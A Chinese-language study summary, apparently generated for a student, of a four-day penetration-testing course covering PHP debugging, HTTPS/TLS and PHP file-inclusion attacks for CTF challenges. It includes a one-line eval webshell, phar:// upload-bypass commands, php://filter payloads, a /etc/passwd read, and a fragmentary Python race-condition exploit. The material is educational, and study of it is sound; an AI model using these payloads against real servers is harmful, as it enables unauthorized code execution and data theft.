渗透高级课四天学习总结

目录

渗透测试四天学习内容总结

根据目录下的文件和资料,为你整理了这四天的学习内容总结:

第一天:课程介绍与环境搭建

核心内容

  • 学习目标:就业、CTF比赛、护网行动
  • 技能需求
    • Web漏洞挖掘与利用
    • 前端逆向工程
    • 云安全(Docker、K8s)
    • AI辅助安全
  • 环境搭建
    • PHPStudy(Windows)
    • Ubuntu 22.04
    • Docker容器
    • VSCode远程调试
  • 工具准备
    • BurpSuite V2025.3.1
    • Python 3.10+
    • Xdebug

详细知识点

  1. 安全学习路径

    • 就业方向:企业安全、甲方安全、安全服务
    • CTF比赛:强网杯、网鼎杯、全国大学生信息安全竞赛
    • 护网行动:红蓝对抗、漏洞挖掘、应急响应
  2. 环境搭建详解

    • PHPStudy配置:多版本PHP切换、Apache/Nginx配置
    • Ubuntu 22.04:网络配置、SSH服务、防火墙设置
    • Docker基础:镜像管理、容器操作、网络配置
    • VSCode插件:Remote-SSH、PHP Debug、Docker扩展
  3. 工具使用

    • BurpSuite:拦截代理、扫描器、Intruder、Decoder
    • Python环境:conda虚拟环境、pip包管理
    • Xdebug配置:php.ini设置、VSCode launch.json配置

第二天:PHP源码调试与HTTPS原理

核心内容

  • PHP源码调试
    • Xdebug + VSCode调试
    • Pwndbg命令行调试
    • Docker容器调试(tuwen/phpsrc镜像)
    • VSCode远程SSH连接容器
  • HTTPS原理
    • RSA密钥协商算法
    • TLS握手过程
    • 中间人攻击与防御
    • BurpSuite证书配置

重点技术

  • 调试技巧:利用Docker快速搭建PHP8.1-backdoor环境
  • 网络安全:理解HTTPS加密机制和证书验证流程

详细知识点

  1. PHP源码调试

    • Xdebug配置

      ini 复制代码
      [Xdebug]
      xdebug.mode = debug
      xdebug.start_with_request = yes
      zend_extension=php_xdebug.dll
    • Docker调试环境

      bash 复制代码
      docker run -it --rm --name debug -p 8080:8080 -p 2222:22 tuwen/phpsrc
    • VSCode远程连接

      • SSH密钥生成:ssh-keygen -t rsa -b 2048
      • 配置 ~/.ssh/config文件
      • 使用Remote-SSH插件连接容器
    • Pwndbg命令

      • break设置断点
      • continue继续执行
      • print查看变量
      • backtrace查看调用栈
  2. HTTPS原理

    • RSA密钥协商
      • 非对称加密:公钥加密、私钥解密
      • 密钥交换:客户端生成随机数,用服务端公钥加密
      • 会话密钥:基于随机数生成对称加密密钥
    • TLS握手过程
      1. Client Hello:支持的TLS版本、密码套件、随机数
      2. Server Hello:选择TLS版本、密码套件、随机数
      3. 证书验证:服务端发送证书,客户端验证
      4. 密钥交换:生成预主密钥,计算会话密钥
      5. 完成握手:双方确认加密通道建立
    • BurpSuite证书配置
      • 导出CA证书:Proxy -> Options -> Import / Export CA Certificate
      • 浏览器安装证书:添加到受信任根证书颁发机构
      • 移动设备证书:通过HTTP下载并安装
  3. 实战技巧

    • PHP8.1-backdoor分析
      • 漏洞触发条件
      • 利用方法
      • 修复方案
    • 远程调试Docker容器
      • 端口映射
      • 权限配置
      • 代码同步

第三天:文件包含漏洞深入分析

核心内容

  • Phar文件包含
    • Phar文件结构(stub、manifest、contents、signature)
    • phar://协议原理
    • Zip格式伪装绕过上传限制
  • 源码级分析
    • 完整调用链(Stream Wrapper → URL解析 → 格式检测 → 内容读取)
    • 关键数据结构(php_stream、phar_entry_info)
  • PHP_filter妙用
    • 编码解码绕过
    • 字符串操作去除"死亡exit"

重点技术

  • 协议特性:phar://不依赖扩展名,通过文件头识别格式
  • 漏洞利用:将恶意PHP文件压缩为ZIP,重命名为图片后利用phar://访问

详细知识点

  1. Phar文件结构

    • Stub :PHP启动加载器,必须包含 __HALT_COMPILER()
    • Manifest:元数据和序列化数据
    • Contents:压缩的文件内容
    • Signature:签名(SHA1、SHA256、OpenSSL)
  2. phar://协议原理

    • URL格式phar://archive.phar/path/to/file.php

    • 格式识别 :通过文件头Magic Bytes识别

      • Zip格式:PK\x03\x04
      • Phar格式:PHP\x00\x00\x00\x00
      • Tar格式:ustar
    • 绕过上传限制

      bash 复制代码
      # 创建包含shell.php的zip
      zip test.zip shell.php
      # 重命名为jpg
      mv test.zip test.jpg
      # 利用phar://访问
      include('phar://test.jpg/shell.php');
  3. 源码级调用链

    • Stream Wrapper注册phar_stream_wops结构
    • URL解析phar_parse_url()分离archive和entry
    • 打开文件phar_open_from_filename()
    • 格式检测phar_detect_phar_format()
    • 解析内容phar_parse_zipfile()构建manifest哈希表
    • 创建流php_stream_alloc()设置 phar_ops
    • 读取内容phar_stream_read()定位并读取文件
  4. 关键数据结构

    • php_stream

      c 复制代码
      typedef struct {
          const php_stream_ops *ops;
          void *abstract; // phar_entry_info*
      } php_stream;
    • phar_entry_info

      c 复制代码
      typedef struct phar_entry_info {
          zend_off_t fp_pos;      // 文件在zip中的偏移
          size_t uncompressed_size; // 解压后大小
          phar_archive_data *phar; // 所属phar
          char *filename;         // 文件名
      } phar_entry_info;
  5. PHP_filter妙用

    • base64解码绕过

      php 复制代码
      // 去除<?php exit; ?>
      include('php://filter/write=convert.base64-decode/resource=shell.php');
    • 字符串操作

      php 复制代码
      // 去除XML标签
      include('php://filter/read=string.strip_tags/resource=file.php');
    • 多过滤器组合

      php 复制代码
      // 先strip_tags再base64-decode
      include('php://filter/read=string.strip_tags|convert.base64-decode/resource=file.php');

第四天:高级文件包含利用技术

核心内容

  • phpinfo+LFI
    • 利用phpinfo打印上传缓存文件路径
    • 条件竞争攻击获取临时文件
    • 编写EXP自动提取临时文件名并包含
  • PHP7崩溃利用
    • 利用php://filter/string.strip_tags触发Segment Fault
    • 使临时文件不被删除
    • 结合dir.php列举临时文件
  • 实战案例
    • DeadsecCTF2025 baby-web
    • PHP代码挑战赛

重点技术

  • 条件竞争:利用HTTP请求处理时间差
  • 崩溃利用:PHP7 segment fault特性
  • 自动化EXP:编写Python脚本实现自动攻击

详细知识点

  1. phpinfo+LFI技术

    • 原理:phpinfo会打印所有$_FILES信息,包括临时文件路径

    • 临时文件特性

      • 路径格式:/tmp/phpXXXXXX
      • 处理流程:上传 → 临时文件 → 脚本结束后删除
    • 条件竞争利用

      python 复制代码
      # 发送大请求使phpinfo加载缓慢
      padding = 'A' * 2000
      # 上传包含webshell的文件
      files = {'file': BytesIO('<?php eval($_POST[shell]);?>')}
      # 同时发送包含请求
    • EXP编写

      • 正则提取临时文件名:tmp_name.*?([/\\]php\w+)
      • 多线程并发请求
      • 自动重试机制
  2. PHP7崩溃利用

    • 触发条件

      php 复制代码
      // 触发Segment Fault
      include('php://filter/string.strip_tags/resource=/etc/passwd');
    • 原理:PHP7在处理某些filter时会崩溃,导致临时文件不被清理

    • 利用流程

      1. 发送崩溃请求
      2. 上传包含webshell的文件
      3. 利用dir.php列举/tmp目录
      4. 包含临时文件获取shell
  3. 实战案例分析

    • DeadsecCTF2025 baby-web
      • 题目来源:当include邂逅phar------DeadsecCTF2025 baby-web.pdf
      • 题目描述:文件上传+文件包含漏洞组合利用
      • 核心考点:phar://协议不依赖文件扩展名的特性
      • 解法:Zip伪装+phar://协议
      • 详细步骤:
        1. 创建包含shell.php的zip压缩文件
        2. 将zip文件重命名为.jpg绕过文件上传限制
        3. 利用phar://协议访问压缩包内的PHP文件
        4. 成功执行恶意代码获取flag
    • PHP代码挑战赛
      • 题目来源:PHP代码挑战赛.zip
      • 题目描述:无phpinfo页面的文件包含漏洞利用
      • 核心考点:PHP7崩溃导致临时文件不被删除
      • 解法:PHP7崩溃+dir.php目录列举
      • 详细步骤:
        1. 利用 php://filter/string.strip_tags/resource=/etc/passwd触发PHP崩溃
        2. 上传包含webshell的文件
        3. 通过dir.php列举/tmp目录下的临时文件
        4. 包含临时文件获取服务器权限
    • 文件包含5-7
      • 题目来源:文件包含5-7.md
      • 案例1:phpinfo+LFI条件竞争
        • 利用phpinfo打印临时文件路径
        • 条件竞争获取临时文件
        • 自动提取文件名并包含执行
      • 案例2:PHP7崩溃利用
        • 触发Segment Fault使临时文件不被删除
        • 结合目录列举找到临时文件
        • 包含执行获取flag
    • PHP8.1-dev后门
      • 题目来源:远程调试PHP底层复现8.1-dev后门.pdf
      • 漏洞描述:PHP 8.1.0-dev版本存在内置后门
      • 利用条件:目标使用了开发版本的PHP
      • 利用方法:通过User-Agent头执行任意代码
      • 调试分析:使用GDB或Pwndbg调试PHP源码
      • 修复方案:升级到正式版本
  4. 自动化工具开发

    • Python EXP框架

      python 复制代码
      import requests
      from io import BytesIO
      import re
      import threading
      
      def upload_file(url, data):
          files = {'file': BytesIO(data)}
          return requests.post(url, files=files)
      
      def exploit_lfi(url, tmp_file):
          payload = {'shell': 'system("cat /flag");'}
          return requests.post(f"{url}?file={tmp_file}", data=payload)
    • 关键技术点

      • Socket编程实现精确时间控制
      • 正则表达式提取信息
      • 异常处理增强稳定性
      • 多线程并发提高成功率

学习成果

1. 理论基础

  • 安全概念:深入理解Web安全、网络安全、应用安全的核心原理
  • 攻击链:掌握漏洞发现、利用、权限提升、持久化的完整攻击流程
  • 防御机制:理解现代Web应用的安全防护措施和绕过技术

2. 技术能力

  • PHP安全
    • 源码级调试与分析
    • 文件包含漏洞高级利用
    • 协议层安全分析
  • 容器安全
    • Docker镜像安全
    • 容器隔离机制
    • 镜像漏洞扫描
  • 网络安全
    • HTTPS加密原理
    • TLS握手过程
    • 中间人攻击防御

3. 实战经验

  • CTF技能
    • 文件包含类题目解法
    • 条件竞争攻击
    • 崩溃利用技术
  • 漏洞挖掘
    • 自动化EXP编写
    • 多线程并发攻击
    • 正则表达式提取信息
  • 环境管理
    • 快速搭建漏洞环境
    • Docker容器编排
    • 远程调试配置

4. 工具精通

  • BurpSuite
    • 拦截代理配置
    • 扫描器使用
    • Intruder暴力破解
    • Decoder编码解码
  • VSCode
    • 远程SSH连接
    • PHP Debug调试
    • Docker扩展管理
  • Python
    • 安全脚本开发
    • 多线程编程
    • 网络请求处理

HTTPS原理与RSA密钥协商算法详解

一、核心概念

HTTPS的安全目标
  • 保密性:防止信息被窃取
  • 完整性:防止信息被篡改
  • 可用性:确保服务正常访问
  • 身份认证:验证通信双方身份
密钥交换算法
  • 对称加密:用于实际数据传输,速度快
  • 非对称加密:用于密钥交换,安全性高
  • RSA:经典非对称加密算法,用于密钥协商

二、RSA密钥协商的TLS握手过程

第一次握手(Client Hello)
  • 客户端发送:
    • TLS版本号
    • 支持的密码套件列表
    • 客户端随机数(Client Random)
    • 支持的压缩算法
第二次握手(Server Hello + Certificate + Server Hello Done)
  • 服务端响应:
    • 确认TLS版本
    • 选择密码套件(如TLS_RSA_WITH_AES_128_GCM_SHA256)
    • 服务端随机数(Server Random)
    • 数字证书(包含服务端公钥)
    • 结束标记
客户端证书验证
  • 验证流程
    1. 计算证书Hash值H1
    2. 使用CA公钥解密证书签名得到H2
    3. 比较H1和H2,相同则可信
  • 证书链:根证书 → 中间证书 → 服务器证书
第三次握手(Client Key Exchange + Change Cipher Spec + Finished)
  • 客户端操作:
    1. 生成预主密钥(pre-master)
    2. 用服务端公钥加密pre-master
    3. 发送加密后的pre-master
    4. 通知服务端开始使用加密通信
    5. 发送加密的握手摘要
第四次握手(Change Cipher Spec + Finished)
  • 服务端操作:
    1. 用私钥解密得到pre-master
    2. 通知客户端开始使用加密通信
    3. 发送加密的握手摘要

三、会话密钥生成

密钥材料
  • 三个随机数
    1. Client Random(客户端生成)
    2. Server Random(服务端生成)
    3. pre-master(客户端生成,服务端解密)
生成过程
  • 客户端和服务端使用相同的算法
  • 基于三个随机数计算Master Secret
  • Master Secret派生为多个会话密钥
    • 用于加密的密钥
    • 用于消息认证的密钥

四、RSA密钥协商的安全性分析

优点
  • 实现简单:逻辑清晰,易于理解
  • 兼容性好:广泛支持,适用于各种环境
  • 性能尚可:握手过程较快
缺陷
  • 不支持前向保密
    • 私钥泄露会导致所有历史通信被破解
    • 因为会话密钥依赖于固定的RSA私钥
  • 易受中间人攻击
    • 如果证书验证不严格
    • 可能被伪造证书攻击

五、改进方案

DHE/ECDHE算法
  • 前向保密:每次会话生成新的密钥对
  • 安全性更高:即使私钥泄露,历史通信也安全
  • 计算效率:ECDHE比DHE更快
现代HTTPS配置
  • 推荐密码套件:ECDHE-RSA-AES256-GCM-SHA384
  • 证书选择:使用受信任的CA颁发的证书
  • TLS版本:启用TLS 1.2/1.3

六、实战应用

BurpSuite证书配置
  • 导出CA证书
  • 浏览器安装证书
  • 配置代理拦截HTTPS流量
证书验证绕过
  • 自签名证书:添加到信任列表
  • 证书锁定:验证证书指纹
  • 中间人代理:如BurpSuite、Charles

七、总结

RSA密钥协商算法是HTTPS早期使用的经典密钥交换方案,通过非对称加密保护对称密钥的传输,实现了安全的通信加密。虽然存在前向保密的缺陷,但由于其实现简单、兼容性好,至今仍被广泛使用。

现代HTTPS部署推荐使用ECDHE等支持前向保密的密钥交换算法,结合强密码套件和最新的TLS版本,以提供更高的安全性和性能。

学习效果评估

掌握较好的内容

1. PHP伪协议
  • 深入理解
    • php://filter的各种过滤器用法
    • phar://协议的工作原理和利用方式
    • zip://协议的路径格式和使用场景
  • 实战应用
    • 利用php://filter进行文件内容读取和编码转换
    • 通过phar://协议绕过文件上传限制
    • 结合多种伪协议实现复杂的攻击链
  • 技术细节
    • 理解伪协议的注册和处理机制
    • 掌握不同过滤器的组合使用方法
    • 熟悉协议参数的格式和传递方式
2. 文件包含漏洞
  • 深入理解
    • 本地文件包含(LFI)和远程文件包含(RFI)的区别
    • 各种绕过技术(目录遍历、编码绕过等)
    • 与其他漏洞的组合利用
  • 实战应用
    • phpinfo+LFI条件竞争攻击
    • PHP7崩溃利用获取临时文件
    • Phar文件包含与反序列化的结合
  • 技术细节
    • 源码级调用链分析
    • 临时文件处理机制
    • 条件竞争的时间窗口控制

学习不足的内容

PHP函数编译源码解析
  • 学习状态
    • 对PHP源码的整体结构理解不够深入
    • 函数编译的具体过程掌握不全面
    • 底层C代码的分析能力有待提高
  • 改进方向
    • 系统学习PHP源码的目录结构和核心模块
    • 重点研究Zend引擎的编译和执行过程
    • 多使用调试工具(GDB、Pwndbg)分析源码
    • 结合具体漏洞(如PHP8.1-dev后门)进行源码级分析
  • 学习建议
    • 从简单的PHP扩展开发入手
    • 逐步深入到Zend引擎核心
    • 参考PHP官方文档和源码注释
    • 参与PHP源码相关的技术社区

总结

通过这四天的学习,你已经掌握了渗透测试的核心技能和方法论,包括:

  1. 环境搭建与调试:从基础环境配置到高级源码调试
  2. 漏洞原理与利用:深入理解文件包含漏洞的底层机制
  3. 协议分析与安全:掌握HTTPS和各种PHP协议的安全特性
  4. 自动化攻击技术:编写EXP实现高效漏洞利用
相关推荐
航Hang*2 小时前
Photoshop 图形与图像处理技术——第9章:实践训练2——变换花朵颜色与绘制正方体
图像处理·笔记·学习·ui·photoshop·期末·复习
航Hang*2 小时前
Photoshop 图形与图像处理技术——第9章:实践训练5——文字和路径
图像处理·笔记·学习·ui·photoshop·期末
星火开发设计2 小时前
C++ 分支结构:if-else 与 switch-case 的用法与区别
开发语言·c++·学习·算法·switch·知识·分支
2301_797312262 小时前
学习Java40天
java·开发语言·学习
Hello_Embed2 小时前
串口面向对象封装实例
笔记·stm32·单片机·学习·操作系统
YangYang9YangYan2 小时前
2026高职计算机专业学习数据分析指南
学习·数据挖掘·数据分析
吃不得辣条2 小时前
渗透学习小结
学习·网络安全
会算数的⑨2 小时前
K8S 学习笔记——核心概念与工作机制(二)
笔记·学习·kubernetes
Yupureki2 小时前
《算法竞赛从入门到国奖》算法基础:入门篇-贪心算法(下)
c语言·c++·学习·算法·贪心算法